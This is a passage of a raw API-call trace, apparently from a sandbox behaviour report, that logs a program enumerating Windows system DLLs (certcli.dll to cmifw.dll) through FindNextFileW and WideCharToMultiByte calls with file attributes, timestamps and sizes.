[0194.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.003] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0xd3c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0194.003] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.003] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0xd3c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0194.003] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0xd3c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0194.003] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.003] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0xd3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0194.003] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0194.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.004] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.004] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.004] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.004] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.004] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0xd3c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0194.004] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0xd3c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0194.004] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0194.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0194.005] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.005] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.005] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.005] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.005] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.005] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.005] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0194.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0xd3c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0194.006] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0194.006] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x3c48e0, dwReserved1=0x0, 